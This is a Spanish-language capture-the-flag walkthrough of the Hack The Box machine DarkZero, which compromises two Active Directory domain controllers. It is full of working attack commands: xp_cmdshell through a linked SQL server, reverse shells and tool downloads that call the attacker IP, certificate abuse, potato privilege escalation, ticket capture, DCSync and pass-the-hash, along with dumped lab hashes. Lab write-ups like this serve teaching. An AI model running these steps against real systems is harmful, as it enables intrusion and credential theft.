DarkZero WriteUp
Table of Contents
DarkZero es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box que modela un entorno de Active Directory empresarial con dos dominios separados, multihoming y vectores de ataque avanzados. El objetivo final es comprometer completamente ambos Domain Controllers.
Al empezar, nos proporcionan unas credenciales iniciales: 🔑 john.w:RFulUtONCOL!
🗺️ Cadena de Ataque
Antes de entrar en detalle, aquí el resumen de la cadena completa:
Credenciales john.w
│
▼
MSSQL DC01 (guest) ──linked server──► MSSQL DC02 (sysadmin)
│
▼
xp_cmdshell ► Shell como svc_sql en DC02 (172.16.20.2)
│
▼
Ligolo-MP ► Acceso a red interna 172.16.20.0/24
│
▼
AD CS (Certify) ► Hash NTLM de svc_sql ► Cambio de contraseña
│
▼
RunasCs (LogonType 5) ► SeImpersonatePrivilege
│
▼
SigmaPotato ► NT AUTHORITY\SYSTEM en DC02
│
▼
Rubeus monitor + xp_dirtree ► TGT de DC01$
│
▼
Pass-the-Ticket ► secretsdump ► Hash Administrator DC01
│
▼
evil-winrm ► Administrator en DC01 🏴
🔍 Reconocimiento
Escaneo de Puertos
Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.
Fase 1 - Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv darkzero.htb
Fase 2 - Escaneo UDP de los top 200:
sudo nmap -sU --top-ports 200 -Pn --open --min-rate 1000 -oA udp -vvv darkzero.htb
Fase 3 - Detección de versiones y scripts sobre los puertos encontrados:
# Extraemos los puertos del fichero gnmap
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
# Lanzamos el escaneo completo
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv darkzero.htb
# Exportar resultados a HTML (opcional, muy útil para reportes)
xsltproc -o nmap.html ~/.nmap/nmap-bootstrap.xsl scan.xml
💡 Tip: Separar el escaneo en fases ahorra mucho tiempo. El descubrimiento rápido con
--min-rate 5000tarda segundos, y luego solo hacemos el escaneo completo sobre los puertos que realmente están abiertos.
Los puertos más relevantes que encontramos:
| Puerto | Servicio | Detalle |
|---|---|---|
53 | DNS | Simple DNS Plus |
88 | Kerberos | Domain Controller confirmado |
389/636 | LDAP/LDAPS | Dominio darkzero.htb |
1433 | MSSQL | Microsoft SQL Server 2022 |
5985 | WinRM | Acceso remoto PowerShell |
Validación de Credenciales y Generación de Hosts
Comprobamos que las credenciales son válidas y generamos automáticamente las entradas para /etc/hosts:
# Validar credenciales
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'
# Generar fichero hosts automáticamente
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-hosts-file hosts_file
# Añadir al /etc/hosts ordenado
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts
🌐 Enumeración DNS - Split-Horizon DNS
Este es el descubrimiento más importante del reconocimiento. Consultamos el servidor DNS de DC01 por todos los registros del dominio:
dig @dc01.darkzero.htb ANY darkzero.htb
;; ANSWER SECTION:
darkzero.htb. 600 IN A 172.16.20.1 ← Red INTERNA
darkzero.htb. 600 IN A 10.129.13.169 ← Red externa (nuestra)
darkzero.htb. 3600 IN NS dc01.darkzero.htb.
⚠️ Split-Horizon DNS / Multihoming: La respuesta devuelve DOS registros A para
darkzero.htb. La IP10.129.13.169es accesible desde nuestra red, pero172.16.20.1solo es accesible desde la red interna. Esto confirma que DC01 es multihomed y que existe una segunda subred172.16.20.0/24donde se encuentraDC02.darkzero.ext. Necesitaremos realizar pivoting para llegar allí.
💉 Acceso Inicial - MSSQL Linked Server Abuse
Conexión a MSSQL de DC01
En el puerto 1433 encontramos un Microsoft SQL Server 2022. Nos conectamos con las credenciales de john.w:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@dc01.darkzero.htb' -windows-auth
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
SQL (darkzero\john.w guest@master)>
Somos guest en DC01. Sin privilegios para habilitar xp_cmdshell directamente. Pero enumerando los linked servers configurados:
SQL> enum_links
SRV_NAME SRV_DATASOURCE Local Login Remote Login
----------------- ----------------- --------------- ------------
DC02.darkzero.ext DC02.darkzero.ext darkzero\john.w dc01_sql_svc
🔑 DC01 tiene configurado un linked server hacia
DC02.darkzero.ext. Nuestro usuariojohn.wse mapea al logindc01_sql_svcen DC02. Verificamos si ese login essysadmin:
SQL> EXEC('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
- -
1 1 ← ¡Somos sysadmin en DC02!
Habilitando xp_cmdshell en DC02 vía Linked Server
Aprovechamos los privilegios de dc01_sql_svc para habilitar la ejecución de comandos del sistema:
-- Habilitamos opciones avanzadas
SQL> EXEC('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
-- Habilitamos xp_cmdshell
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
-- Verificamos RCE
SQL> EXEC('EXEC xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output
--------------------
darkzero-ext\svc_sql
✅ RCE confirmado en DC02 como
darkzero-ext\svc_sql.
🐚 Reverse Shell a DC02
Levantamos nuestro servidor HTTP con goshs y un listener con penelope:
# Servidor HTTP para servir ficheros
goshs -d ~/http -p 80 -i 0.0.0.0
# Listener para la reverse shell
penelope -p 8443
Generamos un payload PowerShell en revshell.com
(PowerShell Base64) y lo ejecutamos via xp_cmdshell:
SQL> EXEC('EXEC xp_cmdshell ''powershell -e <BASE64_PAYLOAD>''') AT [DC02.darkzero.ext]
✅ Shell obtenida en DC02 (
172.16.20.2). Estamos en la red interna172.16.20.0/24.
PS C:\Windows\system32> whoami
darkzero-ext\svc_sql
PS C:\Windows\system32> hostname
DC02
PS C:\Windows\system32> ipconfig
IPv4 Address: 172.16.20.2
Subnet Mask: 255.255.255.0
Default Gateway: 172.16.20.1
🔀 Pivoting con Ligolo-MP
Para poder acceder a la red 172.16.20.0/24 con todas nuestras herramientas locales (certipy, impacket, etc.) configuramos un túnel con Ligolo-MP. Es más estable y versátil que un proxy SOCKS simple.
En el atacante - Iniciamos el servidor:
sudo nano /etc/systemd/system/ligolomp.service
sudo systemctl start ligolomp.service
ligolomp_client
En DC02 - Descargamos y ejecutamos el agente:
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"
En la consola de Ligolo-MP - Iniciamos el relay y añadimos la ruta a la red interna 172.16.20.0/24
✅ A partir de aquí, nuestra máquina atacante puede alcanzar
172.16.20.2directamente. Imprescindible para los siguientes pasos.
🧗♂️ Escalada de Privilegios en DC02
Paso 1 - AD CS con Certify, obtener el Hash NTLM de svc_sql
Subimos Certify.exe y buscamos vulnerabilidades en las plantillas de certificados:
# Subir Certify.exe
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Certify.exe' -OutFile 'C:\Windows\Temp\Certify.exe'"
# Buscar vulnerabilidades
C:\Windows\Temp\Certify.exe find /vulnerable
Aunque find /vulnerable no muestra plantillas explotables directamente (no hay ESC1, ESC2, etc.), podemos solicitar un certificado para el usuario actual usando la plantilla User estándar:
C:\Windows\Temp\Certify.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
[*] Current user context : darkzero-ext\svc_sql
[*] Template : User
[*] CA Response : The certificate had been issued.
-----BEGIN RSA PRIVATE KEY-----
MIIEog[...]qRg==
-----END CERTIFICATE-----
Copiamos todo el bloque desde -----BEGIN RSA PRIVATE KEY----- hasta -----END CERTIFICATE----- y lo guardamos como cert.pem en nuestra máquina.
Convertimos a formato PFX:
# Dejamos la contraseña vacía (Enter)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/cert.pfx
Sincronizamos hora con DC02 (crítico para Kerberos) y autenticamos con el certificado:
# Añadir DC02 al /etc/hosts
netexec smb 172.16.20.2 --generate-hosts-file hosts_file_ext
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file_ext; } | sudo tee -a /etc/hosts
# Sincronizar hora — MUY IMPORTANTE, Kerberos falla si hay más de 5 min de diferencia
ntpdate 172.16.20.2
# Autenticar con el certificado y obtener el hash NTLM
certipy-ad auth -pfx cert.pfx -u svc_sql -dc-ip 172.16.20.2
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
🎯 Hash NTLM de
svc_sqlobtenido:816ccb849956b531db139346751db65f
Paso 2 - Cambiar la Contraseña de svc_sql
Con el hash NTLM podemos cambiar la contraseña sin conocer la original usando impacket-changepasswd:
impacket-changepasswd svc_sql@darkzero.ext -hashes ':816ccb849956b531db139346751db65f' -newpass '1Qwerty!' -dc-ip 172.16.20.2
✅ Contraseña de
svc_sqlcambiada a1Qwerty!
Paso 3 - Service Logon (LogonType 5) con RunasCs: Obtener SeImpersonatePrivilege
❓ ¿Por qué necesitamos esto?
Nuestra shell actual es una Network Logon (LogonType 3). Este tipo de logon genera un token restringido que no incluye
SeImpersonatePrivilege, aunque la cuenta lo tenga asignado en la política local.Para obtener el privilegio necesitamos un Service Logon (LogonType 5), que es el tipo de token que Windows crea cuando el SCM (Service Control Manager) arranca un servicio. Este token incluye todos los privilegios de la cuenta, entre ellos
SeImpersonatePrivilegeasignado al grupoNT AUTHORITY\SERVICE.
Usamos RunasCs.exe con el flag -l 5 para forzar el tipo de logon correcto:
# Subir RunasCs
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"
# Listener en el atacante
penelope -p 8444
# Forzar Service Logon (LogonType 5) → -l 5 es la clave
C:\Windows\Temp\RunasCs.exe svc_sql '1Qwerty!' powershell -l 5 -b -r 10.10.15.223:8444
En la nueva shell verificamos:
whoami /priv
Privilege Name Description State
============================= ======================================== ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled ✅
✅
SeImpersonatePrivilegeactivo. Listo para el Potato attack.
Paso 4 - SigmaPotato: Escalada a SYSTEM
Con SeImpersonatePrivilege habilitado, usamos SigmaPotato para impersonar el token de NT AUTHORITY\SYSTEM y cambiar la contraseña del Administrador local:
# Subir SigmaPotato
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/SigmaPotato.exe' -OutFile 'C:\Windows\Temp\SigmaPotato.exe'"
# Cambiar contraseña del Administrator como SYSTEM
C:\Windows\Temp\SigmaPotato.exe 'net user Administrator 1Qwerty!'
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Found System Token: True
[+] Creating Process via 'CreateProcessWithTokenW'
[+] Process Output:
The command completed successfully.
Ahora nos conectamos como Administrator:
# Listener en atacante
penelope -p 8445
# Shell como Administrator
C:\Windows\Temp\RunasCs.exe administrator '1Qwerty!' powershell -r 10.10.15.223:8445
🚩 User Flag (DC02)
type c:\Users\Administrator\Desktop\user.txt
🔄 Movimiento Lateral a DC01 - Unconstrained Delegation
Con DC02 comprometido, necesitamos llegar a DC01 (10.10.11.89). Las herramientas estándar de post-explotación (WinPEAS, etc.) no revelan vectores directos, así que analizamos la configuración de delegación Kerberos.
¿Qué es Unconstrained Delegation?
🧠 Concepto clave: Cuando un equipo tiene
TrustedForDelegation = True, el KDC incluye una copia del TGT del cliente dentro del TGS que entrega al servicio. Es decir, si DC01 se autentica en DC02 (que tiene Unconstrained Delegation), DC02 recibe el TGT de DC01 y podemos capturarlo.
Confirmamos que DC02 tiene Unconstrained Delegation con PowerShell:
Get-ADComputer -Identity $env:COMPUTERNAME -Properties TrustedForDelegation,TrustedToAuthForDelegation
TrustedForDelegation : True ✅
TrustedToAuthForDelegation : False
Paso 1 - Monitorizar Tickets con Rubeus
Subimos Rubeus a DC02 y lo ponemos en modo monitor. Rubeus detectará cualquier nuevo TGT que llegue al sistema:
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Rubeus.exe' -OutFile 'C:\Windows\Temp\Rubeus.exe'"
C:\Windows\Temp\Rubeus.exe monitor /interval:1 /nowrap
Paso 2 - Forzar Autenticación de DC01 hacia DC02 con xp_dirtree
Desde una nueva terminal, abrimos una sesión MSSQL en DC01 y ejecutamos xp_dirtree apuntando a un share que no exista en DC02:
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
xp_dirtree \\DC02.darkzero.ext\notexists
💡 ¿Por qué funciona esto?
xp_dirtreeobliga al proceso del SQL Server de DC01 a realizar una conexión SMB hacia DC02. Para esa conexión, el proceso solicita al KDC un TGS paracifs/DC02. Como DC02 tiene Unconstrained Delegation, el KDC incluye el TGT de DC01$ dentro de ese TGS. Rubeus, ejecutándose en DC02, lo detecta y lo muestra.
Rubeus captura el ticket:
[*] Found new TGT:
User : DC01$@DARKZERO.HTB
StartTime : 3/20/2026 5:34:10 PM
EndTime : 3/21/2026 3:34:10 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket:
doIFjDCCBYigAwIBBaED...
Paso 3 - Pass-the-Ticket y DCSync
Guardamos el Base64 en un fichero y lo procesamos:
# Decodificar el ticket
cat ticket.b64 | base64 -d > ticket.kirbi
# Convertir a formato ccache (para impacket)
impacket-ticketConverter ticket.kirbi dc01_administrator.ccache
# Exportar el ticket para que lo usen las herramientas Kerberos
export KRB5CCNAME=dc01_administrator.ccache
# Verificar que el ticket está cargado correctamente
klist
# Sincronizar hora con DC01 - imprescindible
ntpdate 10.129.13.244
Con el TGT de DC01$ (cuenta de máquina del Domain Controller), tenemos permisos de replicación de dominio. Realizamos un DCSync para volcar todos los hashes NTLM:
impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
🎯 Hash NTLM del Administrator:
5917507bdf2ef2c2b0a869a1cba40726
Paso 4 - Acceso Final a DC01
Con el hash del Administrator realizamos un Pass-the-Hash vía WinRM:
evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726
🏴 Root Flag (DC01)
type C:\Users\Administrator\Desktop\root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap, netexec, dig | Split-horizon DNS → red 172.16.20.0/24 |
| 2 | MSSQL Linked Server | impacket-mssqlclient | xp_cmdshell en DC02 como svc_sql |
| 3 | Reverse Shell | PowerShell Base64 | Shell en DC02 |
| 4 | Pivoting | Ligolo-MP | Acceso completo a red 172.16.20.0/24 |
| 5 | AD CS Certificate Request | Certify.exe, certipy-ad | Hash NTLM de svc_sql |
| 6 | Cambio de contraseña | impacket-changepasswd | Control total de svc_sql |
| 7 | Service Logon (LogonType 5) | RunasCs.exe -l 5 | SeImpersonatePrivilege |
| 8 | Token Impersonation | SigmaPotato.exe | NT AUTHORITY\SYSTEM en DC02 |
| 9 | Unconstrained Delegation + Rubeus | Rubeus monitor, xp_dirtree | TGT de DC01$ capturado |
| 10 | Pass-the-Ticket + DCSync | impacket-secretsdump | Hash NTLM del Administrator |
| 11 | Pass-the-Hash | evil-winrm | Shell como Administrator en DC01 🏴 |
Un saludo, nos vemos en el próximo challenge.
